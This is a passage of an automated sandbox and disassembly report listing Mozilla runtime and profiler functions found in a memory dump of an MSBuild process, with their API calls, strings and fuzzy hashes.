__aulldiv.LIBCMT ref: 6C464721

Strings

profiler-paused, xrefs: 6C4646E4
-%llu, xrefs: 6C464733
., xrefs: 6C46476A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: f70d7b1ecde849ab48980ff0eea70c660eb44add3fcf5a618e399dac98a9a6d4
Instruction ID: 4cb09ff4fa7eabf555d87a466f62f2f2ead396b6adeb853fa6c2e25e3bfd1063
Opcode Fuzzy Hash: f70d7b1ecde849ab48980ff0eea70c660eb44add3fcf5a618e399dac98a9a6d4
Instruction Fuzzy Hash: 82415571E057089BCB08DF7AD861D5EBBE5EB86784F10862EE8459BB45EB3098448781

Function 6C489830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C48985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C48987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C4898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C4898D9

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 922caa15be2747ae449048c2db161f7dd08fb7cb39868994f11b85b075f04817
Instruction ID: 9e440acc20eaa2b327ad4c25d62bca8bdf60353eef261b2742d75c5884d07721
Opcode Fuzzy Hash: 922caa15be2747ae449048c2db161f7dd08fb7cb39868994f11b85b075f04817
Instruction Fuzzy Hash: 70310871B001189BEB14EF59DC44DEE7BB9DF84318F50842DEA1A9BB40CB319915CBD1

Function 6C4646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C464721

Part of subcall function 6C414410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C453EBD,00000017,?,00000000,?,6C453EBD,?,?,6C4142D2), ref: 6C414444

Strings

profiler-paused, xrefs: 6C4646E4
-%llu, xrefs: 6C464733
., xrefs: 6C46476A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: c5c8f6d3dea3b6347e31855cb0306bdd9fcb6d7cf8a5d858743fcc0338ee9662
Instruction ID: bc4fd0970a904988760fd1c614307efe52433f0dd594103ef7bd16fb01b9193a
Opcode Fuzzy Hash: c5c8f6d3dea3b6347e31855cb0306bdd9fcb6d7cf8a5d858743fcc0338ee9662
Instruction Fuzzy Hash: A33128B1F042185FDB08DF6DD891E9DFBE6DB88354F14813EE8059BB45EB7098048B90

Function 6C46B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C414290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C453EBD,6C453EBD,00000000), ref: 6C4142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C46B127), ref: 6C46B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C46B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C46B4E4

Strings

pid:, xrefs: 6C46B4DE

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 348b2281fd8234c4ebe0d88d662b79e9b753837a42ef390e5a1ad6a0496502d1
Instruction ID: 31c9709bb1abd3910016c230bf84d334d0ba49a2c787c9b229bd18a34ec64f60
Opcode Fuzzy Hash: 348b2281fd8234c4ebe0d88d662b79e9b753837a42ef390e5a1ad6a0496502d1
Instruction Fuzzy Hash: EB311031A012189BDB10DFAAD880EEEB7B9FF44318F54052DE84267F45D732A849DBE1

Function 6C42BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C477A3F), ref: 6C42BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C477A3F), ref: 6C42BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C477A3F), ref: 6C42BF7E

Strings

Hl, xrefs: 6C42BF84

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Hl
API String ID: 4279176481-3906547562
Opcode ID: 9847b419ad72ad244df1bde02c3d7b2cba7232a75c477b528e378c082a138f73
Instruction ID: 32de66c2dc9bb99284756fcb26d1c253f4e1e48edf5e7262399e009d036af04d
Opcode Fuzzy Hash: 9847b419ad72ad244df1bde02c3d7b2cba7232a75c477b528e378c082a138f73
Instruction Fuzzy Hash: 761190792026148FD729CF1CD599D26FBF8FF5A304355885DE98A8B761C732E804CB90

Function 6C45E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C45E577
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45E584
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C45E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C45E722, 6C45E750, 6C45E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C45E826, 6C45E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C45E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C45E655
MOZ_PROFILER_STARTUP, xrefs: 6C45E5A1, 6C45E5CC, 6C45E5FF, 6C45E62A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: fcf50573ff9bf5579ed217f729f20e0e24d353f2db8e00fce5569c573d69eb43
Instruction ID: 69e858f4d521c81b36fe9aec9e900c44c6e1e38b5c7ae29c165f29ce609dafc1
Opcode Fuzzy Hash: fcf50573ff9bf5579ed217f729f20e0e24d353f2db8e00fce5569c573d69eb43
Instruction Fuzzy Hash: B411A131605268DFDB10EF15C888F5DBBB9FB99329F410619F85647750C774A814CBD1

Function 6C460C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C460CD5

Part of subcall function 6C44F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C44F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C460D40
free.MOZGLUE ref: 6C460DCB

Part of subcall function 6C435E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C435EDB
Part of subcall function 6C435E90: memset.VCRUNTIME140(ewGl,000000E5,?), ref: 6C435F27
Part of subcall function 6C435E90: LeaveCriticalSection.KERNEL32(?), ref: 6C435FB2

free.MOZGLUE ref: 6C460DDD
free.MOZGLUE ref: 6C460DF2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a78a36a17a5befbd54f6910ce1d92c8783809cbb634086070509a19f44b8012b
Instruction ID: 785f594285a09023c30247e5f97288df2b39cb35d64a56cd8f87402512b4e028
Opcode Fuzzy Hash: a78a36a17a5befbd54f6910ce1d92c8783809cbb634086070509a19f44b8012b
Instruction Fuzzy Hash: E04115719097949BD720DF2AC080F9AFBE5BFC9714F118A2EE8D887B50D7709845CB82

Function 6C450800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49E7DC), ref: 6C450838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C45084C
EnterCriticalSection.KERNEL32(?), ref: 6C4508AF
LeaveCriticalSection.KERNEL32(?), ref: 6C4508BD
LeaveCriticalSection.KERNEL32(6C49E7DC), ref: 6C4508D5

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 8790ab94b6a5a8a6b1eadfce734b9ee7c07d66d38d0b0c09152598e5b9b94652
Instruction ID: 8f22cd696c21e50beee8580dd7a1c6fed13abd68a7f4b545154512c7e1cb2e27
Opcode Fuzzy Hash: 8790ab94b6a5a8a6b1eadfce734b9ee7c07d66d38d0b0c09152598e5b9b94652
Instruction Fuzzy Hash: 1521FF35B012599BEF04DF65C884FAE77B9BF4470DF900568D909A7B40DF31A8148BD0

Function 6C46CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46CDA4

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

Part of subcall function 6C46D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C46CDBA,00100000,?,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46D158
Part of subcall function 6C46D130: InitializeConditionVariable.KERNEL32(00000098,?,6C46CDBA,00100000,?,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46CDC4

Part of subcall function 6C467480: ReleaseSRWLockExclusive.KERNEL32(?,6C4715FC,?,?,?,?,6C4715FC,?), ref: 6C4674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46CECC

Part of subcall function 6C42CA10: mozalloc_abort.MOZGLUE(?), ref: 6C42CAA2

Part of subcall function 6C45CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C46CEEA,?,?,?,?,00000000,?,6C45DA31,00100000,?,?,00000000), ref: 6C45CB57
Part of subcall function 6C45CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C45CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C46CEEA,?,?), ref: 6C45CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C45DA31,00100000,?,?,00000000,?), ref: 6C46D058

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: bdf2b4cf721bf3a0fcd47efaa21cc45cbe896e4c17265868847a8d4b0a53c2a4
Instruction ID: 345eaf93b45b6de837c618210fc03283383e946df14e88126b541655bb4815df
Opcode Fuzzy Hash: bdf2b4cf721bf3a0fcd47efaa21cc45cbe896e4c17265868847a8d4b0a53c2a4
Instruction Fuzzy Hash: D8D17D71A04B069FD708CF29C480F99B7F1BF99308F11862DE85987B56EB31A965CBC1

Function 6C421720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4218EE
free.MOZGLUE(?), ref: 6C421911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C42194C

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 66988184a13f4f648d432ed15c075e7e9ffa28a318bc5b47c425b0415e6ea34d
Instruction ID: cd50e513a3222b709065a16fc25745d6b9d154ffafffdec88d5d559e52163180
Opcode Fuzzy Hash: 66988184a13f4f648d432ed15c075e7e9ffa28a318bc5b47c425b0415e6ea34d
Instruction Fuzzy Hash: 5581AA74A112159FCB08CF68D8C5DAEBBB1FF89314F04462DE841AB754DB35E849CBA2

Function 6C435C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C435D40
EnterCriticalSection.KERNEL32(6C49F688), ref: 6C435D67
__aulldiv.LIBCMT ref: 6C435DB4
LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C435DED

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 8a55d0a0c6cfcf1b55499808a3d4bb6b573d649ea33a6e92eed2a016e3227441
Instruction ID: fac438344c7a882a1d11910c8b71fa5c41375b28dc049979c6b43e7c242b62ca
Opcode Fuzzy Hash: 8a55d0a0c6cfcf1b55499808a3d4bb6b573d649ea33a6e92eed2a016e3227441
Instruction Fuzzy Hash: 02515C71E012398FDF08DFA9C854EAEBBB2FB99304F198619D815A7750C7306D46CB90

Function 6C41CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C41CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C41CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C41CF4E

Strings

0, xrefs: 6C41CF30

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 03982cc2563489dacf58eb18a45d3defa7ac46ce99c768fd1055dc2af70d9da7
Instruction ID: 23480f2b03fed78ea9fefa7d6ff2f72171fcc97322d49d770437f6dfb5767d1d
Opcode Fuzzy Hash: 03982cc2563489dacf58eb18a45d3defa7ac46ce99c768fd1055dc2af70d9da7
Instruction Fuzzy Hash: D1510375A042168FCB00CF18C890EAABBB5EF99304F19869DD8595F791D731ED06CBE0

Function 6C4777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C477829

Part of subcall function 6C44CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4131A7), ref: 6C44CC45
Part of subcall function 6C44CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4131A7), ref: 6C44CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C47789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C4778CF

Part of subcall function 6C414DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C414E5A
Part of subcall function 6C414DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C414E97

Part of subcall function 6C414290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C453EBD,6C453EBD,00000000), ref: 6C4142A9

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 425a377e09d3e02d650dfc827bb9f22e99c72b752aaec7ae2c3531ded04fb168
Instruction ID: 7a0800ba0b5ee014430a53f8e2c396ca010319064c0fa8068bfdc37ec9b7594e
Opcode Fuzzy Hash: 425a377e09d3e02d650dfc827bb9f22e99c72b752aaec7ae2c3531ded04fb168
Instruction Fuzzy Hash: AF41AF71908B069BD311DF29C48096AFBF4FF8A258F604A2DE4A987780DB30D559CBD2

Function 6C456470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C4582BC,?,?), ref: 6C45649B

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4564A9

Part of subcall function 6C44FA80: GetCurrentThreadId.KERNEL32 ref: 6C44FA8D
Part of subcall function 6C44FA80: AcquireSRWLockExclusive.KERNEL32(6C49F448), ref: 6C44FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C45653F
free.MOZGLUE(?), ref: 6C45655A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: d69236fae10cf017b5e555cc2aa86b45d28d92a55838292943124f45790344b0
Instruction ID: 973b36c6bf2a136957d621854f16f747c59e3137ada3871b0fe0eee135dc3c1d
Opcode Fuzzy Hash: d69236fae10cf017b5e555cc2aa86b45d28d92a55838292943124f45790344b0
Instruction Fuzzy Hash: 47316CB5A043159FD700DF25D884E9ABBE4BF88318F40842EE85A97744DB34E919CBD2

Function 6C44FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C46D019,?,?,?,?,?,00000000,?,6C45DA31,00100000,?), ref: 6C44FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C46D019,?,?,?,?,?,00000000,?,6C45DA31,00100000,?,?), ref: 6C44FFF5
free.MOZGLUE(?,?,?,?,?,6C46D019,?,?,?,?,?,00000000,?,6C45DA31,00100000,?), ref: 6C45001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C46D019,?,?,?,?,?,00000000,?,6C45DA31,00100000,?,?), ref: 6C45002A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 8e4a13e3c19069b6331a45db2adeecf42b9023cfe6f883010c74cfd5fcfd0c34
Instruction ID: 8cbf4b575e631485448fdc18f7c61b3d9aa547bbeea3b15c34e3a29d934c44c9
Opcode Fuzzy Hash: 8e4a13e3c19069b6331a45db2adeecf42b9023cfe6f883010c74cfd5fcfd0c34
Instruction Fuzzy Hash: 7521F1B2E002115BE718DF689C84CAEB7BAEB853243254339E925D7780EA30AD1282D1

Function 6C42B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C42B4F5
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C42B502
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C42B542
free.MOZGLUE(?), ref: 6C42B578

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
